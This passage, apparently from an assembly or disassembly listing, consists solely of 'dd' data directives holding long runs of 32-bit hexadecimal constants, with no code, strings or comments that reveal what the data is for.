0A12D001Eh, 2A4A6936h, 7117D655h, 6F00CFA3h dd 61443E8Eh, 8A8891B4h, 3FBC59FDh, 406879A6h, 0C44D88EAh dd 0C3FB890Fh, 5A718075h, 546F57E7h, 31884F9h, 9CD44C07h dd 5E80CEFBh, 7B139D33h, 37044184h, 4081E0F9h, 30234A62h dd 1F8E2102h, 2461DD56h, 0E8684088h, 0EB010C29h, 7358F5ECh dd 4831ACC6h, 6C00B845h, 339EE84h, 0D372053Ch, 20811112h dd 8D9DF7E0h, 0EC6DDC24h, 0EAEC7600h, 4CCB0F69h, 0B7064F98h dd 50864673h, 0F4020AEAh, 5AF6505Ch, 3634807Bh, 0B65B56h dd 26BB8B8Eh, 2BCEE9E4h, 2A70589Bh, 1C590078h, 54288BEAh dd 640187FEh, 1901F0AEh, 4C30EFCDh, 8BE616B7h, 6540077h dd 0A814D087h, 0F648B638h, 235540Eh, 10F69E9h, 0D30C0DE0h dd 960F1A4h, 2C246DB4h, 35E26053h, 0D1802315h, 4B00F311h dd 0C7703538h, 6F003C31h, 40FAB40Ah, 9D7EDF2h, 0EE83D8F9h dd 0CCFB7010h, 13D4C75Ch, 24414493h, 9419107Dh, 0C1DE0DCCh dd 3E835A29h, 0F5D8509Bh, 91C00277h, 447F1262h, 67480021h dd 891F2B08h, 0F540A015h, 559A0006h, 18609B70h, 0B900AD2Eh dd 7D62EC01h, 48FE0D8Dh, 0D714A040h, 204DFC36h, 0B03830BCh dd 82813AF1h, 0B76D0DE0h, 1C1E00A4h, 0AD020416h, 85173EE7h dd 0CFB4C086h, 0A582027h, 3F174646h, 0D90C0A35h, 40F94438h dd 0C1353948h, 60B40281h, 9D1A7BB3h, 5F433C44h, 4971210h dd 379328Dh, 3482ECC0h, 0A0445C3Ch, 0BE63A0C1h, 6C78E081h dd 751AB812h, 8E05F830h, 42F600CCh, 1F34971Bh, 74F62A40h dd 71F0C000h, 328C20A5h, 26F473D5h, 289049F6h, 6F342A1Ch dd 0F894E2C0h, 0F3B02C5h, 770AEA4Ch, 83A28CC9h, 0C541BA21h dd 0AF18A005h, 0BF3200F7h, 0C5A727Fh, 0B4480944h, 51933664h dd 0E83532D0h, 0D8844770h, 0FF3B634Ah, 31397F92h, 0FF4413EEh dd 334F8C10h, 0C0AB4C84h, 5177D10Bh, 0FF10582Ch, 8EAE5902h dd 0E0E16D82h, 30271AC4h, 26B1846Fh, 0D407B8C2h, 0E599E469h dd 7037A480h, 710E0023h, 5994DB14h, 4700AB18h, 483F2128h dd 0E8398A27h, 8C8C5201h, 0B9060848h, 0D17D82C7h, 1A801206h dd 0EF80E47h, 0A3106E6Ch, 5D7DFEC1h, 53902076h, 96484C01h dd 0E5157A8Eh, 0B0DC38BEh, 41680BD2h, 9362C030h, 538C2C08h dd 40F964BCh, 50934A44h, 13940C56h, 1190EA0h, 0BBFE3200h dd 0D2265B1Bh, 5D7A0BB7h, 14249F08h, 7D5C10h, 1E7CEF26h dd 9AAEF6h, 22163D7Eh, 1A7F7A9Eh, 7CD2972Ch, 0E8005F17h dd 55655B20h, 8B3E0010h, 834C82DAh, 470063D4h, 2438CF41h dd 0B2409BF8h, 3018F1D8h, 5949C204h, 0E32A99Ah, 0C2391D20h dd 3568027Fh, 0E6190B94h, 0AEB690A0h, 0A731533h, 0D83B60F0h dd 9A6B7F72h, 34800520h, 0C22C3420h, 3A59105Dh, 21D5CCABh dd 0C2350011h, 0A6231272h, 0E9009A97h, 55C0A77h, 0C6E11A73h dd 31DBEFF0h, 7A285703h, 0CDCE3788h, 448110C8h, 0B5005AD2h dd 0C759D460h, 1AED186h, 5B5D9C10h, 0D62A8CC6h, 0D3521048h dd 6096BE7Dh, 85D97300h, 0C0CF8742h, 0F02BF470h, 38C64535h dd 1281F91Dh, 856B5D0Fh, 68AC8168h, 0C1E9016Fh, 1875A060h dd 2005F735h, 917ADA06h, 20A71FF2h, 2E38B1Dh, 96A86956h dd 1102E0E1h, 0C8CA8401h, 25350DA0h, 0A8240837h, 3CD89845h dd 7F2C4BFEh, 457128E1h, 6AD8F721h, 0D71B0F8Eh, 64801424h dd 59FC8A4Eh, 2D6EC618h, 74569h, 0F171DB29h, 4F48EA94h dd 0B8001F76h, 6EE825F8h, 1072C23h, 0E22BF7B5h, 0E041196Dh dd 9503205Ch, 8F1D70F0h, 45D0A0EEh, 0F3633CEFh, 7B94EA4h dd 306F3906h, 0FD55EC43h, 63D2201Fh, 65D52B80h, 78F121F9h dd 738AEF4h, 98F96A4Bh, 54184AEAh, 9B084C63h, 0E0F3C2E6h dd 1227C310h, 83B9DB20h, 26D06A60h, 0D0774E4Ch, 0F359D503h dd 0C0503841h, 66FDF4Bh, 0F451402Ch, 271ED11Ch, 9C3F3B3Ch dd 6C6E4E96h, 478CF45h, 96B6B09Fh, 0D4E8846Ch, 998B0250h dd 7B36002Ah, 161D705Dh, 0EFD2DDB9h, 0E8861C80h, 154A308Bh dd 0E9FC1C18h, 84E6B28h, 4BC0458h, 613A8A83h, 1822885h dd 4E2C8FDBh, 502C912h, 0C3076D8h, 8550D510h, 9C80E193h dd 6C8A7F92h, 5AA059BFh, 18901544h, 40D75682h, 949A1E3Fh dd 1260860Ch, 2AF9591Ch, 7D78730Ah, 580B503Fh, 0BE5F43F0h dd 88DFC821h, 0C477618Dh, 2D23A3Dh, 440D2BECh, 0C8AE601h dd 0A088072h, 5201FB35h, 0D30F31C5h, 0A22A84D0h, 8AC0400Ch dd 5510E98Ch, 8580FAD3h, 594702C4h, 3574C505h, 48820C89h dd 7310DB80h, 34935842h, 4C348500h, 5335047Fh, 60CD350h dd 0A25BF925h, 84227DE8h, 0F8E17558h, 11649DF2h, 57C402E1h dd 0A89D8B59h, 0EC10BC8Ch, 847AB890h, 6FCF859h, 0C37B114Fh dd 0DC721419h, 44C2F883h, 8CE20AFAh, 9B05C41h, 8B5A4820h dd 0E2CE400Fh, 1CD9B643h, 28E48C02h, 0F016D4E4h, 0A00DE5C5h dd 9890694Eh, 8B6581B3h, 9197277Fh, 7440416Ch, 9C497B77h dd 6514EC51h, 0E036CD88h, 6441A431h, 5E1113F7h, 76944832h dd 0E0FBCECAh, 0B2C92A8Fh, 0A1C80C37h, 99B74680h, 0A67D0C8Ch dd 93578CA0h, 48C262Ch, 7B0B29FEh, 0ED368E88h, 0F46C1016h dd 8D50811h, 84B01B11h, 0F1BF8BE9h, 0DF284350h, 95C837D4h dd 45CD8061h, 960C1899h dd 0E704C89Ch, 0CCFF035h, 2C1597E2h, 2CA8EAE8h, 518048A0h dd 0C99A346h, 8CAF570Ah, 1FC22709h, 7AA8E49Ch, 0B16C4188h dd 0E4A093CFh, 120D2CD2h, 0D28AE734h, 0D89AC958h, 782D74C4h dd 50DC0A43h, 8FD762F8h, 0F8C5FD81h, 0B194015Bh, 81DBA8C9h dd 94D8EFE1h, 0DBD89E79h, 589BFC81h, 934C0D2Ah, 0D423542Ch dd 9C885D16h, 0EC20DFD7h, 10A16A30h, 13DF6C34h, 71A698Dh dd 0C8F47A04h, 0A0F62D8Ah, 0CC8B580Ah, 8F2C844h, 681E4100h dd 6076C5F7h, 5318DF2h, 85DA7133h, 22828F01h, 3C9D29A8h dd 20F4ED82h, 0E88A3C3Fh, 849B3C38h, 0CA6F2723h, 873CA3D8h dd 580AACCCh, 809C0AF0h, 5092F96Fh, 2812A501h, 9B076EF1h dd 32271DCh, 0B063DB20h, 0EFA7D521h, 2DAED200h, 921CE98Fh dd 6D8043E4h, 73D4E6FDh, 0A72C0022h, 0DB27F870h, 1F072B94h dd 28B065ECh, 67285846h, 472010EEh, 0E824C070h, 2A00066Fh dd 2C2373A7h, 1FF194EBh, 357A58Fh, 0FD6CDB22h, 7F6487D7h dd 0F16AE600h, 0A096B123h, 705F04A3h, 95242748h, 9600B4EAh dd 2B2866AFh, 71449E07h, 26FC3570h, 1F1E0154h, 0A57C5C89h dd 0A6FAE101h, 7092018h, 0C73CA1BFh, 59850B06h, 0B05F2283h dd 770145B0h, 6D7B35B6h, 1C601B98h, 0A5FE7Dh, 8310608Fh dd 0E86111A9h, 388DDCFBh, 5C7D4800h, 2A15A7F4h, 0AB5D3B36h dd 45012058h, 8104E8EFh, 57746041h, 5918FB69h, 0CE0ABE74h dd 3401A82h, 871ED072h, 0FAECD90Ch, 0F3F408F9h, 388FF980h dd 0AE59C75Eh, 44E0CE7h, 89EE391Eh, 18637868h, 108DBAD3h dd 54257A73h, 65C00CDh, 50C06C39h, 63408C58h, 0C65B6835h dd 0B80BF82Eh, 0DFDB6482h, 2028523Ch, 760B5FD3h, 697A72B6h dd 0D44867A0h, 0AE41EC11h, 1A21048Ch, 6CE8C599h, 9180C134h dd 42B0B5CFh, 8CAE6E88h, 0C6535CA1h, 9FD8C40Fh, 2040034Eh dd 424C7934h, 4375058Eh, 0B4D0043Dh, 48A10A2Ch, 0CE489F61h dd 46C22864h, 71644507h, 0F59B8D6h, 0E0E64201h, 0E7A48F1Ah dd 23F7001Dh, 0F850A6C4h, 9473D21Fh, 61F09507h, 54F2822h dd 788C27F2h, 750B05Ah, 0E70673D3h, 4AB0C0EEh, 23E8454Eh dd 0FD0260F0h, 0D9FB0FE0h, 60449AEAh, 5CA8BCFh, 5865D7EEh dd 0AB0430EFh, 59F95737h, 34080010h, 0F87C55ECh, 4274308Ah dd 7D08A448h, 246CE104h, 0FA0A86C8h, 405EA005h, 11CAC604h dd 90651C76h, 24CA0832h, 34B24A07h, 8103E2D8h, 1063144Eh dd 78192244h, 4610B453h, 0F6527F08h, 98C61070h, 9C36F17Bh dd 0C629DBECh, 4B0A0CA8h, 50C88CA7h, 0B94D421Ch, 0A449181Bh dd 0F50922FBh, 369E084h, 0DA884A09h, 0A7209EDCh, 91921C49h dd 0F8228D09h, 898EFB44h, 248412F9h, 918A4887h, 903E85h dd 42443DFEh, 19463B41h, 0D1074A48h, 0D2B8B905h, 17A0DA84h dd 53A85104h, 0C014EE50h, 1CC8E9EFh, 0FC790744h, 3C06093Bh dd 0A17D0ED1h, 8308E9BEh, 0A3DBEAF7h, 0F687F0F4h, 988FE85Ch dd 0F609F0E8h, 32087D2Ch, 6740BF13h, 0DEA17E01h, 12F7EDDCh dd 9AA897D0h, 4D0FF48h, 0AB2EAFFh, 2E608856h, 0C274A37h dd 1C5C393Bh, 38A54F19h, 9ECDE72h, 5C583640h, 65D95706h dd 45095442h, 2F180455h, 80BBEA04h, 529C6D85h, 650F010Eh dd 83AA11DFh, 0A7218BD0h, 5734D6C5h, 93349581h, 53D0C755h dd 30F17C90h, 7B180B2Ch, 690F84ECh, 0CFDB07E4h, 3E1C9464h dd 80081C8Dh, 0E71E4182h, 2289009h, 0E44CBD3Eh, 1B1AC0F0h dd 57280745h, 52071864h, 0BFC5C24Eh, 72E0DAF7h, 1E58F235h dd 40E4248Eh, 0B05B4906h, 0D334086h, 0EA62402Dh, 5F202EEDh dd 0B94FD0FEh, 10FA5A00h, 87165B56h, 0E8330035h, 66685C8Eh dd 0E1C42A2h, 9BC06B88h, 5156D9A7h, 3F3E2ADh, 2376144Fh dd 83F95B1Bh, 34B448D1h, 0A20129F0h, 0E6F90981h, 6F11F784h dd 0C8341086h, 110A0138h, 0A6DB9B65h, 7D3EE40Eh, 9044941Eh dd 49F53C0h, 3FE331h, 0F4FC98Ah, 1177162Eh, 0B36283E2h dd 0A0027871h, 6136E8B0h, 4DEE008Dh, 4165D7D6h, 9F30AE91h dd 2D3481AAh, 0CA0F0352h, 0FDA2E9E6h, 1C732AF0h, 95884550h dd 0A016830Fh, 1175E0D3h, 0C6A37Fh, 0AD6E6041h, 0FFD04D01h dd 49EE721Ch, 663265C0h, 13B84E0h, 0EB9302CBh, 0F0B52ADFh dd 793CFB23h, 8A1F00D1h, 0D417D7D5h, 29E301ECh, 2CCCEB88h dd 3C144A91h, 0DAD618FDh, 3EDEE530h, 0E3087C2Eh, 0F40089FBh dd 43BD992h, 0DDEE0094h, 0DF996AE9h, 3E627503h, 8DD77E90h dd 1FD01887h, 0C9E10394h, 0D13E7805h, 28CE80A6h, 0F6D2818Bh dd 0F8D0E586h, 0CF3B306Eh, 6E3D678h, 7A2B31C3h, 3B590AE5h dd 620C27D5h, 84A06B19h, 2DDDA87h, 0CCE29005h, 88036F2Eh dd 0FBD98E2Bh, 19290317h, 0ACFB24E8h, 40C04ABBh, 49C03EDEh dd 6A47FDF1h, 0C11AEC73h, 69E9DF31h, 7168D40Bh, 852CC903h dd 0D89A2B27h, 1D436EAEh, 4052792Eh, 1F359EB4h, 6B30CCF2h dd 9536012h, 0F6600004h, 1CA7EAD0h, 9660E940h, 0BB017171h dd 0FD380F50h, 522003CFh, 8332C299h, 35639D18h, 74D02C28h dd 0CE740C12h, 4998246Dh, 182F68A2h, 0A7EB0D91h, 10F26806h dd 31C71F48h, 52810D58h, 2C4103D0h, 22D27CCBh, 0A2036784h dd 4041C564h, 0BBCE73B9h, 0B5F1A980h, 1BFD396Ah, 0ABA259C3h dd 13303E50h, 0B6577963h, 68483118h, 0E038A659h, 30807952h dd 7F411C5Ah, 0BE14B136h, 23D01F42h, 0C43B10BAh, 0E4635FAFh dd 0AD3C7CD8h, 755E30C6h, 422418B9h, 84B569F5h, 7AEEE40Ah dd 7698A46Bh, 749DABF1h, 66DCA1D4h, 0B3A8F181h, 8CF99B8Ch dd 0D916A130h, 4C235068h, 583350FFh, 2393A6Bh, 0D8406AB0h dd 8348F1E9h, 0B94F3318h, 316D88F5h, 1330CFBCh, 3518714Ch dd 0A44C8550h, 13584051h, 910E6EE8h, 9B60CBACh, 0A397C78h dd 338A5BFh, 17F042A4h, 6D999215h, 5B88874h, 0BE895867h dd 85707588h, 8C306F64h, 0C88631BEh, 0AD479350h, 7C9055C8h dd 21D46588h, 8244F0ECh, 8355D22h, 0E850F2B0h, 661588BBh dd 4784E287h, 0BD562214h, 0E387CD7Ch, 72DC241Ch, 1A851145h dd 62EA0485h, 0FD114E50h, 9C84784Fh, 444962B7h, 0EA582650h dd 35DE886Ch, 6022B293h, 0C8686354h, 603DF8BEh, 0B3BD214Eh dd 61D262A1h, 44208C1Fh, 9C02749h, 0C247F432h, 6890C89Ch dd 21513E8Ch, 992A198Ch, 116DB1C3h, 9EE0F770h, 0A86A4C15h dd 9D106F31h, 0D384DC4h, 0CBA42058h, 0F9797766h, 8EA09009h dd 0A93D063Ch, 1131DE3Fh, 0C24F9D0Ah, 5742A037h, 91646677h dd 8649B048h, 0EE0F7F5h, 28561831h, 25C83D8Fh, 0B42938E0h dd 65429481h, 0E4435026h, 2F02D48Ah, 0E0F13164h, 0CCD0C0F8h dd 756A0058h, 3E85FCCFh, 890B52DDh, 1223840h, 981931E4h dd 1D29C860h, 0DC856Fh, 0FCDFD779h, 2B055025h, 0D0746EFEh dd 2C3CC483h, 0F87D40h, 0E37791FCh, 325493FDh, 740FFE40h dd 2C93Ch, 895D718Fh, 2BDD3CD6h, 98603053h, 0EB782ED5h dd 7A081CA6h, 7F05D0h, 0E0DB2817h, 0D929752Bh, 20AC60DAh dd 17DC0468h, 0EB7520h, 0CA5786Ch, 0E75C77C7h, 184664h dd 0F8DD4094h, 3CCEE590h, 0CF8AAEEDh, 0EB2C7750h, 0EF8AD400h dd 0B770F2E0h, 961555F8h, 80382A94h, 23869719h, 0D42B0255h dd 0D685F9E3h, 408E1494h, 552A3207h, 54086D0h, 0AD1F094h dd 0CCD99703h, 0CFD401F8h, 4AFEB84Fh, 47AB494h, 1D0054F8h dd 315E2D87h, 7C8043DEh dd 1DF4F48Eh, 39E596h, 0B2D5EB6Eh, 0DD2686B4h, 3CBA0029h dd 0F41C0178h, 53CFAB6Ah, 0E13B9825h, 96EDF84Dh, 20CCEE09h dd 0F2408779h, 917288Ch, 0F42AE5CAh, 6C80209Ah, 0C9407E55h dd 648A2D3Ah, 748C9350h, 0D0EB350Fh, 0C0D09691h, 0C07F0485h dd 90FA3FA5h, 2B05B898h, 0FD36DBCBh, 4CB79092h, 58204940h dd 74FD0602h, 54C138D7h, 8689E094h, 0F275D098h, 21F39678h dd 77408993h, 0CAC0803Bh, 7F8DE3Eh, 2039926Eh, 30104D7Ah dd 260F7478h, 82D5EE86h, 0C0CFD791h, 74D2EF70h, 0B7E0F32Eh dd 18A0907Ah, 103E8E04h, 60C4DA6Eh, 0AC86D788h, 20D23958h dd 2D06EB86h, 0B70E4093h, 8DCDD97Dh, 8BE1C885h, 6305C9E0h dd 0CB2E308Ch, 4CC7CDE3h, 787C20A0h, 942B3601h, 91F8CCD1h dd 1F9892D6h, 0F8A95504h, 0FE36D941h, 0D47692E1h, 0CE3CD002h dd 60CCCAFBh, 737EC578h, 928A2A02h, 4E752CCFh, 841893B8h dd 82EE832Fh, 1C608EF0h, 3E749407h, 0EB077BFAh, 0E784B7E0h dd 2CD990CCh, 3C7C1FD2h, 1D75291Eh, 0D38605CBh, 4601120h dd 16A5A8AFh, 4287FE2Fh, 0CBD229C4h, 67EBB4C1h, 0DF9209E4h dd 0F00C99F8h, 71799860h, 75DCB0E2h, 0E9D890EBh, 0E51628BEh dd 81C424DDh, 8ED1921Ch, 0E92ECF09h, 0F9E414EBh, 4FE55096h dd 22C538C0h, 3220C06Fh, 10983B93h, 6E698A63h, 8704E1D9h dd 2072CFD1h, 2C782E14h, 0C23C87B4h, 0C0F08A2Bh, 3134744Ch dd 0B7CC5852h, 27D54887h, 0D1B0CC7Ah, 898B80C5h, 50811824h dd 9C2713E1h, 0D5B3C1FFh, 44BC87Eh, 7014B0EAh, 0FFB20173h dd 0A6A3BA59h, 0B090E05Ah, 0C51C4752h, 183AC088h, 94C57B00h dd 911A579Fh, 0C945AD14h, 1300EF68h, 0BDA72049h, 0A500B957h dd 952545B7h, 8CE5DA1h, 0BA4EADA2h, 155A0363h, 5048BCC8h dd 84095E00h, 5A0D5F2Eh, 0BAA5C700h, 0A1A6C493h, 35EEC3Fh dd 94C95BADh, 0ABA04AA9h, 750E459Fh, 8148A08Ah, 0CB4CBA9Ah dd 14B3A1EFh, 0EA68BCECh, 59A10390h, 48A5A8CCh, 549E8AE8h dd 0A9ABC700h, 689FB149h, 0CC253A74h, 9C40F975h, 308D7559h dd 48214CA0h, 0BA008B1Dh, 0A18AB054h, 305EB346h, 0AC984BBCh dd 903ACE59h, 0C5D50CADh, 5B168B8h, 0A8B66103h, 94800AA9h dd 0C19E5D34h, 8AB64887h, 14607A86h, 68B04CBEh, 0A4C102BEh dd 859FC046h, 0A800C7F4h, 0A9C6BA4Ah, 0F0B95045h, 0AF160393h dd 951A9401h, 5EC746F0h, 0CE4BB71Bh, 0BC96D021h, 0A1B63A59h dd 19C84C28h, 90CD5768h, 0BEC84147h, 0FF7ED048h, 0A8BA6314h dd 0BF10D438h, 0A98B2001h, 0BEB1C959h, 0A3AB18E8h, 7498C328h dd 0BABF246Ch, 0CDC201Ch, 0A4ABCD5Eh, 0B00E9F20h, 3DA3C757h dd 0A6A5CE01h, 12CFC993h, 1094B9E8h, 0C82AC87Ch, 0D1037AC4h dd 5C098C10h, 0C076A68h, 7C0089A6h, 9AB34CAEh, 148383F8h dd 0DC91C088h, 35E1274h, 405C1947h, 400AE0B1h, 9BA1CC13h dd 9814041Eh, 0B3A30080h, 0C58C7148h, 0BCB0A14Ah, 0C68F053h dd 739FA060h, 0E0F9ADD0h, 28C36691h, 204D68A7h, 93FC57E9h dd 0DC9858AAh, 8C6B4CCh, 12307A73h, 40715CBAh, 6891CE1Ch dd 8E24C554h, 0A31444A4h, 784ACAF4h, 4158BA42h, 2021BD38h dd 0B693C801h, 3E4C9EF0h, 54308AC7h, 0B05505E8h, 3345F0A1h dd 0FE044220h, 9A0022E8h, 6551EFA0h, 754E0Dh, 11CEC7B8h dd 4261895Dh, 3B446800h, 5741F21h, 0BEC18AEh, 1EBF41C4h dd 0F63701F2h, 0CAC039FCh, 3011438Bh, 0D5307EE7h, 8307D18Ah dd 1B890A20h, 807A56h, 88BE016Eh, 31458112h, 1DCDE938h dd 0B809CAEh, 5AD9507Ch, 0C820C3B3h, 13F1E457h, 11204E1Ch dd 0CF80CAD8h, 0D0CB9A7Eh, 0BC75F1C0h, 66E7183h, 56A76CB0h dd 0EA6008C0h, 83B51721h, 0BFD066Dh, 0D07968DEh, 21E6CC33h dd 0B666F871h, 73BE0009h, 429F05EEh, 9D1E3FC2h, 8CBE1DF3h dd 8A42489h, 0E55A39ACh, 90DB6014h, 6086D3ACh, 0F95271D6h dd 2D0E18F8h, 0CAFB2F81h, 59C41CB6h, 50C9D705h, 0CC2384C8h dd 72F96E82h, 999481A6h, 0A080FCCFh, 8A27AE34h, 78C12E88h dd 0CB3D012Ah, 0BD7EB085h, 0E0C028ACh, 52962380h, 4D1538D6h dd 0E6E2DCD0h, 77426C28h, 0E8483117h, 0F6140B70h, 694BE44h dd 65AD092Ch, 4DB0C790h, 22A6705Eh, 461A0B96h, 3728D325h dd 0AD24915Ch, 3BC8B8C2h, 8C972011h, 5EEF8E1Fh, 4C040B7h dd 30540E5Fh, 0A6C085CAh, 0BC927C56h, 89D32B30h, 2942E3h dd 238A915Eh, 820DE236h, 8960BB00h, 0E659E772h, 5C0B7757h dd 0C30F7253h, 70B96930h, 0B22C27B6h, 0F0A23943h, 0C3602720h dd 90726899h, 704107B9h, 9C497A79h, 21C05C08h, 0FC907B03h dd 6905063Bh, 0F999A2D9h, 8C4DF418h, 2FA47E9h, 0BFC7EEABh dd 0E2FF943Ah, 12E4C0E2h, 0B15214A5h, 0A89FF06Ah, 0B29222C0h dd 0E0EE5831h, 0C910D5C4h, 7A4C987Bh, 3F01348h, 592C6041h dd 48836D91h, 4B95607h, 0A0D6301Dh, 12B1081h, 1024C875h dd 25BE14BCh, 0A8F120B2h, 10231809h, 2587953h, 5D393B9Eh dd 68B08176h, 4034A6F9h, 54C90A9h, 4D79C8ACh, 5E804F83h dd 0BFFEBC0h, 0D90E879Dh, 8C880D03h, 1C42172h, 0E3B5EA9Ah dd 0D4BF17D1h, 8806D7A9h, 0D2ACF583h, 5AED0C88h, 0B1806721h dd 0D8A6F200h, 654BC176h, 3C7104B7h, 0D9977ECEh, 76642074h dd 74986E26h, 1443BDC4h, 360183AEh, 9C54B7A1h, 0FD77ACFh dd 5B2130C8h, 857071ACh, 94AE4E2Ah, 0F96A8C08h, 1915005Eh dd 6CA152B5h, 4E0B10C1h, 0B0827379h, 4D40A922h, 4010D78Dh dd 8B4A0926h, 0ADA060C3h, 41D8E827h, 20AE11D5h, 0FD931EABh dd 182D1080h, 0CC34CC5Bh, 7321AF09h, 53422500h, 1001AA7Dh dd 0A57F0203h, 6E5AA6C0h, 219EA8A1h, 3B3180A1h, 696F146Bh dd 83AF01F4h, 0D3EE8688h, 4026E9C2h, 0CF6503D8h, 879BD1C0h dd 34B5F55h, 0CB1F1901h, 107A427Ch, 4DA44800h, 34BAE076h dd 917279h, 26D2A9A8h, 0A68EA3BBh, 3D193ECEh, 386030FCh dd 0B2C5FFh, 7A47C349h, 0A0F1A64Dh, 0C48048DEh, 1BA13985h dd 459A198Ah, 80AC0923h, 397D6421h, 7405147Fh, 0BB190CC2h dd 3C58568Bh, 2C06C610h, 0F39F6100h, 0E65DBC70h, 0C9199CE6h dd 52B04977h, 631F57C0h, 82F6A06Ah, 97D61900h, 0DC9E6DBBh dd 9CB50058h, 30EFF9Dh, 2660A5C6h, 3ADF2358h, 1F9B36E5h dd 0AD46C0D8h, 0C839841Dh, 0AFC4621Bh, 397C6540h, 3A07CD4Ah dd 638D5675h, 67C4C9F4h, 2BFE8C04h, 9EA78601h, 5BCAEC73h dd 0C2E02767h, 4625FC60h, 75D83D5Dh, 6EA3F74h, 0EC44E2Ah dd 3BC9998h, 6D1B8AA0h, 680A6B0Ah, 0E40D8B32h, 7549E060h dd 0F97960F5h, 84E1A096h, 7EC3FF4Ch, 8CCF776h, 0BD2171h dd 0A2F8E198h, 0DA17D3B7h, 0E58C6B15h, 1D0B8F8Ch, 7DA47341h dd 91804C5Eh, 0AE106C29h, 7AEC67D2h, 6309CA66h, 74890021h dd 0C68D1D10h, 1B07DD15h, 4016C0Eh, 32F3CB51h, 0D585B09Fh dd 9D0DA09Fh, 0E8997CD2h, 32684AB6h, 0BCC09480h, 0E58469h dd 5683A1ADh, 92C0B613h, 0BF6A7C28h, 4A061FE8h, 0D309EB37h dd 4408AE18h, 93738167h, 8510E007h, 0E9E0ACDEh, 7DCA896Bh dd 13F03FEh, 8F4C26CEh, 0EBD83806h, 50D23Dh, 0F220F9CAh dd 26E45EB7h, 0D6DDD403h, 1CD161FBh, 0B0215020h, 8D9FA4D0h dd 0EB27070Ch, 0EE8C489Ch, 0F66C9039h, 0F8DE8146h, 42E15556h dd 6A307FB0h, 0D2B01110h, 80568877h, 2110728Bh, 0D8038670h dd 3B57322Ch, 0E4680679h dd 90B83A0Bh, 1B4F4C0Ch, 0A44EC9A5h, 8BA42F6Ch, 0FF026354h dd 804B0EBDh, 85FE0DB8h, 0CCA355CBh, 5943D801h, 2488A008h dd 700C53DBh, 0FB191570h, 54008040h, 25FEBE70h, 0ED007492h dd 8A14F47Eh, 7F5D8364h, 124006Ah, 190BE07Ch, 76147821h dd 80A0FC96h, 6F0CB32Dh, 25E206D6h, 8BACEA8h, 8A214260h dd 0AD0CABh, 28CB6394h, 4E1DCDE6h, 0FAF7EB1Eh, 6D505A44h dd 51C99099h, 9D92A050h, 0FBD0584h, 60A34124h, 9776778Ch dd 0B40444A4h, 0CAD66E0Ch, 8B203962h, 4EC0CACh, 3688D5A7h dd 1C20C441h, 1133919Ch, 0FC18AECDh, 4A7393Eh, 366E2604h dd 8A80730Eh, 0ECA89C70h, 658A1492h, 0A322B8DDh, 0FB0B6D05h dd 0EC0EC5E5h, 4953CC78h, 3130393Fh, 9E8003BDh, 83070184h dd 1B02A9BAh, 0EDB64171h, 0ABD2C1FBh, 82026836h, 721B9E39h dd 6710B731h, 4B02397Ah, 31F31ECBh, 20A8449Fh, 0E64D980Fh dd 98089214h, 3988C0A9h, 82461BA4h, 6100AA22h, 710E3980h dd 12966Eh, 9F7BE6Dh, 65A0B736h, 770D4490h, 603CDEB6h dd 4CD4A807h, 0C2135814h, 0EF10293Bh, 5595E4B0h, 75785001h dd 0CCBC034Ch, 697AE820h, 98373057h, 98946A11h, 5846CD08h dd 1C09C26h, 0C63402D6h, 90DCFE69h, 9CC5CF2Ch, 23992308h dd 848C00E4h, 9D4D1A0h, 0FDDE6F00h, 5212D37Dh, 7637242Fh dd 36D250E8h, 0EC661720h, 0CB4631FBh, 509BF218h, 0D4AA88ACh dd 962AD606h, 0A883AA7h, 457ADE87h, 5CE342A4h, 0C6C29F07h dd 0BB06142Ch, 7B231F3Ch, 0DF750068h, 0DCD39272h, 0EC065FC2h dd 39D2B655h, 0D7A31051h, 48085626h, 29B2C004h, 2EA157h dd 0A5804E45h, 0F47C74ADh, 0C9CA3400h, 76945B50h, 46FC2454h dd 36D483D0h, 80249FEBh, 2300A886h, 0FD358FF5h, 2EA8B06Ah dd 443430AEh, 398760A8h, 8C1B7DA3h, 5862A944h, 77D157Fh dd 543CBFA5h, 64B11901h, 0D6608889h, 697C0149h, 604BFB62h dd 0B056E879h, 14BC48C8h, 0A4C89E1Bh, 0BDDCE89Bh, 4C47D8D1h dd 0E1A3C088h, 9446FF87h, 0B8096B22h, 8EA9E19Bh, 46978151h dd 43C4CD79h, 0CB1A0AA8h, 28D0585Bh, 8D90048h, 182366EBh dd 0FCAC1B9Dh, 0C8B94Ch, 0E477C0ACh, 93110D54h, 24A42898h dd 517C38FAh, 2EAC325Eh, 803CC9DEh, 44B968CEh, 4AFB1F4Ah dd 0B118279Fh, 94D57BAh, 2450D831h, 80609BBBh, 0E0CFBDF6h dd 240496A6h, 84D0FCFAh, 52073732h, 5D00B899h, 0D47C7DA8h dd 0A06F531Eh, 0EC6F1218h, 5B5EE70Ch, 70705C9h, 0E6668D2Ch dd 0EFC1B1B0h, 0DC1600F6h, 95F2A320h, 0FC00A845h, 0AF65D55Ah dd 0CF15569h, 35BABE01h, 777183D0h, 7A460490h, 0B3106F02h dd 9CE77FD2h, 10778603h, 0E87EC32Ch, 92EA8C7h, 0B78A13D9h dd 50672C12h, 81604244h, 0C8003A3Ch, 94555F41h, 1277A508h dd 242B1ADEh, 94AC87A4h, 1023002Fh, 0C955C9DBh, 604AD6DCh dd 2C0F2040h, 6CF1A099h, 7400E918h, 0D9A7862Ch, 98E47A02h dd 314A2028h, 67BB0D08h, 0C10F0045h, 0D4CEFD82h, 3D8E305h dd 8401A04Ah, 71074ECCh, 0CB4DF840h, 0A3212E52h, 763830F0h dd 7D20AB75h, 27A525A9h, 838688Ah, 1F1C2A96h, 5CB86BC0h dd 31C554Bh, 0BDF98569h, 20024DB2h, 996D59A4h, 23209E71h dd 8820B57Ah, 9E027746h, 6CFF82E1h, 0BB023C47h, 824FE196h dd 4C12C4h, 3B45CE86h, 36D91F01h, 389FFFD3h, 1000B477h dd 0B1EED0ECh, 0DC39E371h, 0FF22013Eh, 772D82B9h, 8407D036h dd 0D2EC34CDh, 74EC3ED8h, 0C201E476h, 839F9EF9h, 4C60D674h dd 280483B6h, 0A6997E84h, 0B521C5C1h, 0A4081884h, 82C95B9h dd 0B5C09844h, 46D66D0Ch, 0F3C22D2h, 650CAD8Ch, 505E6DCh dd 24783A3h, 56CEAED8h, 0D258388Dh, 110CAE30h, 88BAD66Ch dd 0A68D8041h, 0D680960Ch, 9C2EBB3Ah, 6C0018CBh, 0B14D0301h dd 9AED04D9h, 905A5F7Bh, 0DB8A36B4h, 0A978431Dh, 2D93E1C0h dd 958354Fh, 534C9F44h, 1873C491h, 86E108A2h, 6FC48CFFh dd 0E19AB740h, 